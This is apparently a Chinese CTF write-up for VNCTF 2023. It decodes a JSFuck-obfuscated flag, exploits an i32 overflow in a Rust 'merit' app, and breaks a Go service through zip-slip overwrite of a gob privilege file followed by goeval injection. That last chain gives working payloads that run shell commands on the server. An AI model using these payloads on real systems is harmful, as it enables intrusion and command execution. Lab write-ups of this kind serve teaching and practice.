VnCtf

VnCtf

web

象棋王子

先下一下传统象棋,显然下不过,那看看源码,"js/play.js"下有游戏源码,翻到最后有一个"showWin"函数,my==1的情况就是获胜,下面是一串很抽象的js代码,丢进控制台中跑一跑:

[][(![] + [])[+[]] + (![] + [])[!+[] + !+[]] + (![] + [])[+!+[]] + (!![] + [])[+[]]][([][(![] + [])[+[]] + (![] + [])[!+[] + !+[]] + (![] + [])[+!+[]] + (!![] + [])[+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [][(![] + [])[+[]] + (![] + [])[!+[] + !+[]] + (![] + [])[+!+[]] + (!![] + [])[+[]]])[+!+[] + [+[]]] + ([][[]] + [])[+!+[]] + (![] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + (!![] + [])[+!+[]] + ([][[]] + [])[+[]] + ([][(![] + [])[+[]] + (![] + [])[!+[] + !+[]] + (![] + [])[+!+[]] + (!![] + [])[+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + (!![] + [][(![] + [])[+[]] + (![] + [])[!+[] + !+[]] + (![] + [])[+!+[]] + (!![] + [])[+[]]])[+!+[] + [+[]]] + (!![] + [])[+!+[]]]((!![] + [])[+!+[]] + (!![] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + ([][[]] + [])[+[]] + (!![] + [])[+!+[]] + ([][[]] + [])[+!+[]] + (+[![]] + [][(![] + [])[+[]] + (![] + [])[!+[] + !+[]] + (![] + [])[+!+[]] + (!![] + [])[+[]]])[+!+[] + [+!+[]]] + (!![] + [])[!+[] + !+[] + !+[]] + (+(!+[] + !+[] + !+[] + [+!+[]]))[(!![] + [])[+[]] + (!![] + [][(![] + [])[+[]] + (![] + [])[!+[] + !+[]] + (![] + [])[+!+[]] + (!![] + [])[+[]]])[+!+[] + [+[]]] + ([] + [])[([][(![] + [])[+[]] + (![] + [])[!+[] + !+[]] + (![] + [])[+!+[]] + (!![] + [])[+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [][(![] + [])[+[]] + (![] + [])[!+[] + !+[]] + (![] + [])[+!+[]] + (!![] + [])[+[]]])[+!+[] + [+[]]] + ([][[]] + [])[+!+[]] + (![] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + (!![] + [])[+!+[]] + ([][[]] + [])[+[]] + ([][(![] + [])[+[]] + (![] + [])[!+[] + !+[]] + (![] + [])[+!+[]] + (!![] + [])[+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + (!![] + [][(![] + [])[+[]] + (![] + [])[!+[] + !+[]] + (![] + [])[+!+[]] + (!![] + [])[+[]]])[+!+[] + [+[]]] + (!![] + [])[+!+[]]][([][[]] + [])[+!+[]] + (![] + [])[+!+[]] + ((+[])[([][(![] + [])[+[]] + (![] + [])[!+[] + !+[]] + (![] + [])[+!+[]] + (!![] + [])[+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [][(![] + [])[+[]] + (![] + [])[!+[] + !+[]] + (![] + [])[+!+[]] + (!![] + [])[+[]]])[+!+[] + [+[]]] + ([][[]] + [])[+!+[]] + (![] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + (!![] + [])[+!+[]] + ([][[]] + [])[+[]] + ([][(![] + [])[+[]] + (![] + [])[!+[] + !+[]] + (![] + [])[+!+[]] + (!![] + [])[+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + (!![] + [][(![] + [])[+[]] + (![] + [])[!+[] + !+[]] + (![] + [])[+!+[]] + (!![] + [])[+[]]])[+!+[] + [+[]]] + (!![] + [])[+!+[]]] + [])[+!+[] + [+!+[]]] + (!![] + [])[!+[] + !+[] + !+[]]]](!+[] + !+[] + !+[] + [!+[] + !+[]]) + (![] + [])[+!+[]] + (![] + [])[!+[] + !+[]])()([][(![] + [])[+[]] + (![] + [])[!+[] + !+[]] + (![] + [])[+!+[]] + (!![] + [])[+[]]][([][(![] + [])[+[]] + (![] + [])[!+[] + !+[]] + (![] + [])[+!+[]] + (!![] + [])[+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [][(![] + [])[+[]] + (![] + [])[!+[] + !+[]] + (![] + [])[+!+[]] + (!![] + [])[+[]]])[+!+[] + [+[]]] + ([][[]] + [])[+!+[]] + (![] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + (!![] + [])[+!+[]] + ([][[]] + [])[+[]] + ([][(![] + [])[+[]] + (![] + [])[!+[] + !+[]] + (![] + [])[+!+[]] + (!![] + [])[+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + (!![] + [][(![] + [])[+[]] + (![] + [])[!+[] + !+[]] + (![] + [])[+!+[]] + (!![] + [])[+[]]])[+!+[] + [+[]]] + (!![] + [])[+!+[]]]((!![] + [])[+!+[]] + (!![] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + ([][[]] + [])[+[]] + (!![] + [])[+!+[]] + ([][[]] + [])[+!+[]] + ([] + [])[(![] + [])[+[]] + (!![] + [][(![] + [])[+[]] + (![] + [])[!+[] + !+[]] + (![] + [])[+!+[]] + (!![] + [])[+[]]])[+!+[] + [+[]]] + ([][[]] + [])[+!+[]] + (!![] + [])[+[]] + ([][(![] + [])[+[]] + (![] + [])[!+[] + !+[]] + (![] + [])[+!+[]] + (!![] + [])[+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [][(![] + [])[+[]] + (![] + [])[!+[] + !+[]] + (![] + [])[+!+[]] + (!![] + [])[+[]]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (!![] + [][(![] + [])[+[]] + (![] + [])[!+[] + !+[]] + (![] + [])[+!+[]] + (!![] + [])[+[]]])[+!+[] + [+[]]] + (!![] + [])[+!+[]]]()[+!+[] + [!+[] + !+[]]] + ((![] + [])[+!+[]] + (![] + [])[!+[] + !+[]] + (!![] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+!+[]] + (!![] + [])[+[]] + [+!+[]] + [!+[] + !+[] + !+[] + !+[] + !+[] + !+[]] + [!+[] + !+[] + !+[] + !+[]] + (!![] + [])[+[]] + [!+[] + !+[] + !+[] + !+[] + !+[]] + [+[]] + (!![] + [])[+[]] + [!+[] + !+[] + !+[] + !+[]] + [!+[] + !+[]] + (!![] + [])[+[]] + [+!+[]] + [!+[] + !+[]] + [!+[] + !+[] + !+[] + !+[]] + (!![] + [])[+[]] + [+!+[]] + [!+[] + !+[] + !+[] + !+[] + !+[]] + [+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + [!+[] + !+[] + !+[] + !+[]] + [+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + [!+[] + !+[] + !+[] + !+[]] + [+[]] + (!![] + [])[+[]] + [+!+[]] + [!+[] + !+[] + !+[] + !+[] + !+[] + !+[] + !+[]] + [+!+[]] + (!![] + [])[+[]] + [+!+[]] + [!+[] + !+[] + !+[] + !+[] + !+[]] + [!+[] + !+[] + !+[] + !+[] + !+[] + !+[] + !+[]] + ([][[]] + [])[+[]] + (!![] + [])[+!+[]] + (!![] + [])[+[]] + [!+[] + !+[] + !+[] + !+[]] + [+[]] + (![] + [])[+[]] + (![] + [])[!+[] + !+[]] + (![] + [])[+!+[]] + (!![] + [])[+[]] + [+!+[]] + [!+[] + !+[] + !+[] + !+[]] + [!+[] + !+[] + !+[] + !+[] + !+[] + !+[] + !+[]] + (!![] + [])[+[]] + [!+[] + !+[] + !+[] + !+[] + !+[] + !+[] + !+[]] + [!+[] + !+[]] + (!![] + [])[+[]] + [!+[] + !+[] + !+[] + !+[]] + [+[]] + (![] + [])[+[]] + (![] + [])[!+[] + !+[]] + (![] + [])[+!+[]] + (!![] + [])[+[]] + [+!+[]] + [!+[] + !+[] + !+[] + !+[]] + [!+[] + !+[] + !+[] + !+[] + !+[] + !+[] + !+[]] + (!![] + [])[+[]] + [+!+[]] + [!+[] + !+[] + !+[] + !+[] + !+[] + !+[] + !+[]] + [!+[] + !+[] + !+[]] + (!![] + [])[+[]] + [+!+[]] + [!+[] + !+[] + !+[] + !+[] + !+[] + !+[]] + [!+[] + !+[] + !+[] + !+[] + !+[] + !+[] + !+[]] + [!+[] + !+[] + !+[]] + (![] + [])[!+[] + !+[]] + (!![] + [])[+[]] + [+!+[]] + [!+[] + !+[] + !+[] + !+[]] + [!+[] + !+[] + !+[]] + [+[]] + (!![] + [])[+[]] + [+!+[]] + [!+[] + !+[] + !+[] + !+[] + !+[]] + [!+[] + !+[] + !+[] + !+[] + !+[]] + [!+[] + !+[] + !+[]] + (!![] + [])[+[]] + [+!+[]] + [!+[] + !+[] + !+[]] + [!+[] + !+[] + !+[] + !+[] + !+[] + !+[] + !+[]] + (!![] + [])[+[]] + [+!+[]] + [!+[] + !+[] + !+[] + !+[] + !+[] + !+[]] + [!+[] + !+[] + !+[] + !+[]] + [+[]] + (!![] + [])[+[]] + [+!+[]] + [!+[] + !+[] + !+[]] + [!+[] + !+[] + !+[] + !+[] + !+[] + !+[] + !+[]] + (!![] + [])[+[]] + [+!+[]] + [!+[] + !+[]] + [!+[] + !+[] + !+[] + !+[] + !+[] + !+[]] + (+[![]] + [])[+[]] + (!![] + [])[+[]] + [+!+[]] + [+[]] + [!+[] + !+[] + !+[]] + (!![] + [])[+[]] + [+!+[]] + [!+[] + !+[]] + [!+[] + !+[] + !+[] + !+[]] + (!![] + [])[+[]] + [+!+[]] + [+[]] + [!+[] + !+[] + !+[] + !+[] + !+[] + !+[]] + (!![] + [])[+[]] + [+!+[]] + [!+[] + !+[] + !+[]] + [!+[] + !+[] + !+[] + !+[] + !+[] + !+[] + !+[]] + [!+[] + !+[]] + [+[]] + [!+[] + !+[]] + [!+[] + !+[] + !+[]] + (!![] + [])[+[]] + [+!+[]] + [!+[] + !+[] + !+[] + !+[] + !+[] + !+[] + !+[]] + [!+[] + !+[] + !+[] + !+[] + !+[] + !+[]] + (!![] + [])[+[]] + [+!+[]] + [!+[] + !+[] + !+[] + !+[] + !+[] + !+[] + !+[]] + [!+[] + !+[] + !+[] + !+[] + !+[] + !+[]] + (!![] + [])[+[]] + [+!+[]] + [!+[] + !+[] + !+[] + !+[] + !+[] + !+[] + !+[]] + [!+[] + !+[] + !+[] + !+[] + !+[] + !+[]] + (!![] + [])[+[]] + [+!+[]] + [!+[] + !+[] + !+[] + !+[] + !+[] + !+[] + !+[]] + [!+[] + !+[] + !+[] + !+[] + !+[]] + (!![] + [])[+[]] + [!+[] + !+[] + !+[] + !+[]] + [!+[] + !+[]] + (!![] + [])[+[]] + [!+[] + !+[] + !+[] + !+[] + !+[]] + [+!+[]])[(![] + [])[!+[] + !+[] + !+[]] + (+(!+[] + !+[] + [+!+[]] + [+!+[]]))[(!![] + [])[+[]] + (!![] + [][(![] + [])[+[]] + (![] + [])[!+[] + !+[]] + (![] + [])[+!+[]] + (!![] + [])[+[]]])[+!+[] + [+[]]] + ([] + [])[([][(![] + [])[+[]] + (![] + [])[!+[] + !+[]] + (![] + [])[+!+[]] + (!![] + [])[+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [][(![] + [])[+[]] + (![] + [])[!+[] + !+[]] + (![] + [])[+!+[]] + (!![] + [])[+[]]])[+!+[] + [+[]]] + ([][[]] + [])[+!+[]] + (![] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + (!![] + [])[+!+[]] + ([][[]] + [])[+[]] + ([][(![] + [])[+[]] + (![] + [])[!+[] + !+[]] + (![] + [])[+!+[]] + (!![] + [])[+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + (!![] + [][(![] + [])[+[]] + (![] + [])[!+[] + !+[]] + (![] + [])[+!+[]] + (!![] + [])[+[]]])[+!+[] + [+[]]] + (!![] + [])[+!+[]]][([][[]] + [])[+!+[]] + (![] + [])[+!+[]] + ((+[])[([][(![] + [])[+[]] + (![] + [])[!+[] + !+[]] + (![] + [])[+!+[]] + (!![] + [])[+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [][(![] + [])[+[]] + (![] + [])[!+[] + !+[]] + (![] + [])[+!+[]] + (!![] + [])[+[]]])[+!+[] + [+[]]] + ([][[]] + [])[+!+[]] + (![] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + (!![] + [])[+!+[]] + ([][[]] + [])[+[]] + ([][(![] + [])[+[]] + (![] + [])[!+[] + !+[]] + (![] + [])[+!+[]] + (!![] + [])[+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + (!![] + [][(![] + [])[+[]] + (![] + [])[!+[] + !+[]] + (![] + [])[+!+[]] + (!![] + [])[+[]]])[+!+[] + [+[]]] + (!![] + [])[+!+[]]] + [])[+!+[] + [+!+[]]] + (!![] + [])[!+[] + !+[] + !+[]]]](!+[] + !+[] + !+[] + [+!+[]])[+!+[]] + (![] + [])[!+[] + !+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (!![] + [])[+[]]]((!![] + [])[+[]])[([][(!![] + [])[!+[] + !+[] + !+[]] + ([][[]] + [])[+!+[]] + (!![] + [])[+[]] + (!![] + [])[+!+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (!![] + [])[!+[] + !+[] + !+[]] + (![] + [])[!+[] + !+[] + !+[]]]() + [])[!+[] + !+[] + !+[]] + (!![] + [][(![] + [])[+[]] + (![] + [])[!+[] + !+[]] + (![] + [])[+!+[]] + (!![] + [])[+[]]])[+!+[] + [+[]]] + ([![]] + [][[]])[+!+[] + [+[]]] + ([][[]] + [])[+!+[]]](([][(![] + [])[+[]] + (![] + [])[!+[] + !+[]] + (![] + [])[+!+[]] + (!![] + [])[+[]]][([][(![] + [])[+[]] + (![] + [])[!+[] + !+[]] + (![] + [])[+!+[]] + (!![] + [])[+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [][(![] + [])[+[]] + (![] + [])[!+[] + !+[]] + (![] + [])[+!+[]] + (!![] + [])[+[]]])[+!+[] + [+[]]] + ([][[]] + [])[+!+[]] + (![] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + (!![] + [])[+!+[]] + ([][[]] + [])[+[]] + ([][(![] + [])[+[]] + (![] + [])[!+[] + !+[]] + (![] + [])[+!+[]] + (!![] + [])[+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + (!![] + [][(![] + [])[+[]] + (![] + [])[!+[] + !+[]] + (![] + [])[+!+[]] + (!![] + [])[+[]]])[+!+[] + [+[]]] + (!![] + [])[+!+[]]]((!![] + [])[+!+[]] + (!![] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + ([][[]] + [])[+[]] + (!![] + [])[+!+[]] + ([][[]] + [])[+!+[]] + (![] + [+[]])[([![]] + [][[]])[+!+[] + [+[]]] + (!![] + [])[+[]] + (![] + [])[+!+[]] + (![] + [])[!+[] + !+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + ([][(![] + [])[+[]] + (![] + [])[!+[] + !+[]] + (![] + [])[+!+[]] + (!![] + [])[+[]]] + [])[!+[] + !+[] + !+[]] + (![] + [])[!+[] + !+[] + !+[]]]()[+!+[] + [+[]]] + ![] + (![] + [+[]])[([![]] + [][[]])[+!+[] + [+[]]] + (!![] + [])[+[]] + (![] + [])[+!+[]] + (![] + [])[!+[] + !+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + ([][(![] + [])[+[]] + (![] + [])[!+[] + !+[]] + (![] + [])[+!+[]] + (!![] + [])[+[]]] + [])[!+[] + !+[] + !+[]] + (![] + [])[!+[] + !+[] + !+[]]]()[+!+[] + [+[]]])()[([][(![] + [])[+[]] + (![] + [])[!+[] + !+[]] + (![] + [])[+!+[]] + (!![] + [])[+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [][(![] + [])[+[]] + (![] + [])[!+[] + !+[]] + (![] + [])[+!+[]] + (!![] + [])[+[]]])[+!+[] + [+[]]] + ([][[]] + [])[+!+[]] + (![] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + (!![] + [])[+!+[]] + ([][[]] + [])[+[]] + ([][(![] + [])[+[]] + (![] + [])[!+[] + !+[]] + (![] + [])[+!+[]] + (!![] + [])[+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + (!![] + [][(![] + [])[+[]] + (![] + [])[!+[] + !+[]] + (![] + [])[+!+[]] + (!![] + [])[+[]]])[+!+[] + [+[]]] + (!![] + [])[+!+[]]]((![] + [+[]])[([![]] + [][[]])[+!+[] + [+[]]] + (!![] + [])[+[]] + (![] + [])[+!+[]] + (![] + [])[!+[] + !+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + ([][(![] + [])[+[]] + (![] + [])[!+[] + !+[]] + (![] + [])[+!+[]] + (!![] + [])[+[]]] + [])[!+[] + !+[] + !+[]] + (![] + [])[!+[] + !+[] + !+[]]]()[+!+[] + [+[]]]) + [])[+!+[]]) + ([] + [])[(![] + [])[+[]] + (!![] + [][(![] + [])[+[]] + (![] + [])[!+[] + !+[]] + (![] + [])[+!+[]] + (!![] + [])[+[]]])[+!+[] + [+[]]] + ([][[]] + [])[+!+[]] + (!![] + [])[+[]] + ([][(![] + [])[+[]] + (![] + [])[!+[] + !+[]] + (![] + [])[+!+[]] + (!![] + [])[+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [][(![] + [])[+[]] + (![] + [])[!+[] + !+[]] + (![] + [])[+!+[]] + (!![] + [])[+[]]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (!![] + [][(![] + [])[+[]] + (![] + [])[!+[] + !+[]] + (![] + [])[+!+[]] + (!![] + [])[+[]]])[+!+[] + [+[]]] + (!![] + [])[+!+[]]]()[+!+[] + [!+[] + !+[]]])())

=> alert("This is your flag: flag{w3lc0m3_t0_VNCTF_2023~~~}")

电子木鱼

装个rust环境,要装VS才能配编译环境,那算了,RustPlayground 简单用一用

但其实不太需要看懂rust,浏览源码大致能猜出在干什么:

const PAYLOADS: &[Payload] = &[
    Payload {
        name: "Cost",
        cost: 10,
    },
    Payload {
        name: "Loan",
        cost: -1_000,
    },
    Payload {
        name: "CCCCCost",
        cost: 500,
    },
    Payload {
        name: "Donate",
        cost: 1,
    },
    Payload {
        name: "Sleep",
        cost: 0,
    },
];

定义了一些常量,例如 Payload[Donate] == 1

#[get("/")]
async fn index(tera: web::Data<Tera>) -> Result<HttpResponse, Error> {
	...
}

表示需要用GET方法访问"/"路径,并执行函数中的操作。

#[get("/reset")]: 重置功德
post(/upgrade): 更新功德,当功德为负数会被拦截,不能执行其他操作;利用Post方式上传两个参数"name""quantity";name可以取Cost表示扣取10*quantity的功德,Donate表示扣取quantity数量的功德,CCCCCost表示扣取500功德,Loan表示获取1000功德,Sleep表示功德不变;必须上传name和quantity两个参数。

当扣取的功德多于已有的功德时不能扣取功德。要想拿到flag需要多于1e9的功德。每次Loan只能获取1e3的功德,理论上只用Loan需要进行1e6次的访问,显然这足够让buu把你ban了。因此需要另辟蹊径。

在源码中总是出现:cost as i32 ,cost中的数被视为一个占内存32位即4个字节的整数类型,32位整数有一位是符号位,31位表示数字的大小,其范围是:[2147483648, 2147483647] 。Cost方法会将quantity*10计算最终扣去的功德,当我们的 quantity==214748365 ,那么 quantity*10 == 2147483650 > 2**31-1 正数范围内的i32类型发生了溢出,溢出大小是3,根据补码的规律,溢出后变为 -(2**31-3+1) == -2147483646 ,Cost等扣取功德的方式会让原有的功德减去该Cost,因此会一次性获取非常多的功德。但是加入初始功德不为0,而有1000,1000 - (-2147483646) = 2147484646 > 2**31 ,而已有的功德也被定义为i32的整数类型:

static GONGDE: Lazy<ThreadLocker<i32>> = Lazy::new(|| ThreadLocker::from(0));

因此已有的功德又会再次溢出,溢出值为999,因此溢出后的值为 -(2**31-999+1) == -2147482650 ,这样功德就变成负数啦(佛祖很失望啊)

补码:

# 用=>表示取补码,考虑8位整数
00000000 = 0 
10000000 = -128 => 10000000 = -128
10000001 = -127 => 01111111 = 127
11111111 = -1 => 00000001 = 1

词本

customize: vt. 自定义,定制

BabyGo

参考:Go-沙箱逃逸

源码:

package main

import (
	"encoding/gob"
	"fmt"
	"github.com/PaulXu-cn/goeval"
	"github.com/duke-git/lancet/cryptor"
	"github.com/duke-git/lancet/fileutil"
	"github.com/duke-git/lancet/random"
	"github.com/gin-contrib/sessions"
	"github.com/gin-contrib/sessions/cookie"
	"github.com/gin-gonic/gin"
	"net/http"
	"os"
	"path/filepath"
	"strings"
)

type User struct {
	Name  string
	Path  string
	Power string
}

func main() {
	r := gin.Default()
	store := cookie.NewStore(random.RandBytes(16))
	r.Use(sessions.Sessions("session", store))
	r.LoadHTMLGlob("template/*")

	r.GET("/", func(c *gin.Context) {
		userDir := "/tmp/" + cryptor.Md5String(c.ClientIP()+"VNCTF2023GoGoGo~") + "/"
		session := sessions.Default(c)
		session.Set("shallow", userDir)	// 设置shallow为userdir
		session.Save()
		fileutil.CreateDir(userDir)
		gobFile, _ := os.Create(userDir + "user.gob")	// 序列化存储用户权限
		user := User{Name: "ctfer", Path: userDir, Power: "low"}
		encoder := gob.NewEncoder(gobFile)
		encoder.Encode(user)	// 存入Low权限
		if fileutil.IsExist(userDir) && fileutil.IsExist(userDir+"user.gob") {
			c.HTML(200, "index.html", gin.H{"message": "Your path: " + userDir})
			return
		}
		c.HTML(500, "index.html", gin.H{"message": "failed to make user dir"})
	})

	r.GET("/upload", func(c *gin.Context) {
		c.HTML(200, "upload.html", gin.H{"message": "upload me!"})
	})

	r.POST("/upload", func(c *gin.Context) {
		session := sessions.Default(c)
		if session.Get("shallow") == nil {
			c.Redirect(http.StatusFound, "/")
		}
		userUploadDir := session.Get("shallow").(string) + "uploads/"
		fileutil.CreateDir(userUploadDir)
		file, err := c.FormFile("file")
		if err != nil {
			c.HTML(500, "upload.html", gin.H{"message": "no file upload"})
			return
		}
		ext := file.Filename[strings.LastIndex(file.Filename, "."):]
		if ext == ".gob" || ext == ".go" {	// 截断源码文件防止覆盖
			c.HTML(500, "upload.html", gin.H{"message": "Hacker!"})
			return
		}
		filename := userUploadDir + file.Filename
		if fileutil.IsExist(filename) {
			fileutil.RemoveFile(filename)
		}
		err = c.SaveUploadedFile(file, filename)
		if err != nil {
			c.HTML(500, "upload.html", gin.H{"message": "failed to save file"})
			return
		}
		c.HTML(200, "upload.html", gin.H{"message": "file saved to " + filename})
	})

	r.GET("/unzip", func(c *gin.Context) {	// 解压
		session := sessions.Default(c)
		if session.Get("shallow") == nil {
			c.Redirect(http.StatusFound, "/")
		}
		userUploadDir := session.Get("shallow").(string) + "uploads/"	// 默认上传文件夹
		files, _ := fileutil.ListFileNames(userUploadDir)
		destPath := filepath.Clean(userUploadDir + c.Query("path"))	// 目标路径,拼接默认上传文件夹与GET上传的"path"
		for _, file := range files {	// 解压文件
			if fileutil.MiMeType(userUploadDir+file) == "application/zip" {
				err := fileutil.UnZip(userUploadDir+file, destPath)
				if err != nil {
					c.HTML(200, "zip.html", gin.H{"message": "failed to unzip file"})
					return
				}
				fileutil.RemoveFile(userUploadDir + file)
			}
		}
		c.HTML(200, "zip.html", gin.H{"message": "success unzip"})
	})

	r.GET("/backdoor", func(c *gin.Context) {
		session := sessions.Default(c)
		if session.Get("shallow") == nil {
			c.Redirect(http.StatusFound, "/")
		}
		userDir := session.Get("shallow").(string)
		if fileutil.IsExist(userDir + "user.gob") {
			file, _ := os.Open(userDir + "user.gob")
			decoder := gob.NewDecoder(file)
			var ctfer User
			decoder.Decode(&ctfer)
			if ctfer.Power == "admin" {
				eval, err := goeval.Eval("", "fmt.Println(\"Good\")", c.DefaultQuery("pkg", "fmt"))
				if err != nil {
					fmt.Println(err)
				}
				c.HTML(200, "backdoor.html", gin.H{"message": string(eval)})
				return
			} else {
				c.HTML(200, "backdoor.html", gin.H{"message": "low power"})
				return
			}
		} else {
			c.HTML(500, "backdoor.html", gin.H{"message": "no such user gob"})
			return
		}
	})

	r.Run(":80")
}

GET访问路由 / 时后台自动新建一个用户权限为 low 的类序列化文件,名为 user.gob ,该文件被存在 userDir 下,即 /tmp/...(好长一串)/
路由 /upload 提供文件上传功能,不允许上传 ".gob" ".go" 文件,为了避免 user.gob 被直接覆盖。上传的文件默认被放在 userDir/uploads 下。
GET方式访问路由 /unzip?path= 解压uploads下所有的压缩包文件,通过Get请求传入参数 path ,拼接 userDir/uploadspath 得到解压路径,因此解压路径是可控的,通过传入 path=../ 可以将文件解压至父文件夹。
通过GET方式访问路由 /backdoor ,服务器提供了一个可以执行GoEval的后门,通过传入参数 pkg 来传入eval的内容。但只有服务器上有用户权限文件且用户权限为 admin 时该后门才被启用。

分析完各路由功能后即可获得大致思路,为了访问后门需要一个权限为 admin 的用户,需要一个对应的用户文件去覆盖服务器原有的 user.gob 。由于不能直接上传go源码或序列化文件,需要借助解压功能,上传一个压缩过的"user.gob"文件后,通过传入路径 path=../ 使其被解压到 uploads/ 的父目录即 userDir/ 下,覆盖原有的"user.gob",就能篡改权限。
为了在本地生成一个权限为 admin 的"user.gob",新建一个文件夹与一个go源码文件"getAdmin.go",写入内容:

package main

import (
	"encoding/gob"
	"os"
)

type User struct {
	Name  string
	Path  string
	Power string
}

func main() {
	gobFile, _ := os.Create("./user.gob")	// 序列化存储用户权限
	user := User{Name: "ctfer", Path: "./", Power: "admin"}
	encoder := gob.NewEncoder(gobFile)
	encoder.Encode(user)	// 存入Low权限
}

go run getAdmin.go 运行后即可在当前文件夹下生成一个"user.gob"文件,文件内的权限为admin。go文件的运行要求一个文件夹下多个go文件是相互联系的,因此最好新建文件夹来运行go脚本。压缩并上传"user.gob",访问"/unzip"解压文件并传入"path=../",接着访问"/backdoor"会发现响应了一个"good",表明权限已经是admin了。接下来需要利用eval进行RCE,参考 Go-沙箱逃逸 得到以下payload:

原始payload:

Eval("os/exec\"\n\"fmt\")\nfunc\tinit(){\ncmd\t:=exec.Command(\"ls\")\nres,err\t:=\tcmd.CombinedOutput()\nfmt.Println(string(res))\nfmt.Println(err)\n}\nconst(\nMessage=\"fmt")

url编码后的payload:

?pkg=os/exec"%0A"fmt")%0Afunc%09init(){%0Acmd%09:=exec.Command("ls")%0Ares,err%09:=%09cmd.CombinedOutput()%0Afmt.Println(string(res))%0Afmt.Println(err)%0A}%0Aconst(%0AMessage="fmt

=> go.mod go.sum main main.go template <nil> Good

url编码中:%09==\t%0A==\n . 这个payload很奇怪啊,按理来说传入的内容作为字符串再次被传入Eval中,里面的引号、换行、制表符都需要转义才能被正确读取,这里却不需要转义就能正确读取。
猜测是传入的 pkg 变量中的内容被URL解码后,将被严格视为字符串,特殊字符将被自动转义处理,再传入Go中的字符串。
当传参形式是字符串时,参数后跟的内容被严格视为字符串;当传入参数被视为json解析时,内部的结构由于自代引号,需要考虑特殊字符的转义问题。

经测试,payload中的换行不能缺少,且传入的内容不能含有空格,否则会出现报错:expected 'STRING', found '/'

eval内部调用的函数是 exec.Command() ,它可以传多个命令行参数,而无需传入完整的 "ls /"

尽管换行符不需要被反斜杠转义,但它必须被URL编码。在hackbar中,若将 %0a 直接换为换行符,传入后端后会报错:syntax error: unexpected func, expecting semicolon or newline . func前检测不到换行符,希望有一个分号或另起一行。显然换行符不进行URL编码将会被忽视。
制表符对RCE无影响。

我们会发现:对于Go语法而言,特定的换行符是必要的;而URL编码的意义是保证换行符在传输到后端Go语言时不被丢弃;在服务器接收参数时可能会自动丢弃空白字符如制表符、空格、换行符;尽可能的URL编码能够保证传输的参数正确完整的到达后端。

获取flag的payload:

?pkg=os/exec"%0A"fmt")%0Afunc%09init(){%0Acmd%09:=exec.Command("cat","/ffflllaaaggg")%0Ares,err%09:=%09cmd.CombinedOutput()%0Afmt.Println(string(res))%0Afmt.Println(err)%0A}%0Aconst(%0AMessage="fmt

=> flag{29e95e44-b363-48ba-9e0f-87020fed2f59}

得到flag:flag{29e95e44-b363-48ba-9e0f-87020fed2f59}

词本

semicolon: 分号

Misc

验证码

提示"tupper":Tupper(塔珀自指公式) 。就是提供了一个可以用于绘制指定大小(17px*106px)图的函数,该函数通过更改参数k来获取不同的像素图。

测试代码:

import numpy as np
import matplotlib.pyplot as plt
import os

def Tupper_self_referential_formula(k): 
    aa = np.zeros((17,106))
    def f(x, y):
        y += k
        a1 = 2**-(-17*x - y%17)
        a2 = (y // 17) // a1
        return 1 if a2 % 2 > 0.5 else 0
 
    for y in range(17):
        for x in range(106):
            aa[y, x] = f(x, y)
    
    return aa[:,::-1]

k = 1594199391770250354455183081054802631580554590456781276981302978243348088576774816981145460077422136047780972200375212293357383685099969525103172039042888918139627966684645793042724447954308373948403404873262837470923601139156304668538304057819343713500158029312192443296076902692735780417298059011568971988619463802818660736654049870484193411780158317168232187100668526865387478661078082009408188033574841574337151898932291631715135266804518790328831268881702387643369637508117317249879868707531954723945940226278368605203277838681081840279561
aa = Tupper_self_referential_formula(k)
plt.imshow(aa, origin="upper")	# imshow处理图片,show展示图片
plt.xlim(106, 0)    # upper下翻转x轴让最终生成的图片方向正确
plt.ylim(0, 17)
plt.show()
base1 = k-17*(0)
base2 = k+17*(0)
cwd = os.path.dirname(__file__)+"/tupperImgs/"
if(not os.path.exists(cwd)):
    os.makedirs(cwd)
input("Continue for more figures?")
for i in range(50):
    k1 = base1 - 1*(i+1)
    k2 = base2 + 1*(i+1)
    aa_1 = Tupper_self_referential_formula(k1)
    plt.imshow(aa_1, origin='upper')
    plt.xlim(106, 0)
    plt.ylim(0, 17)
    plt.savefig(cwd+"-"+str(i)+".jpg")
    aa_2 = Tupper_self_referential_formula(k2)
    plt.imshow(aa_2, origin='upper')
    plt.xlim(106, 0)
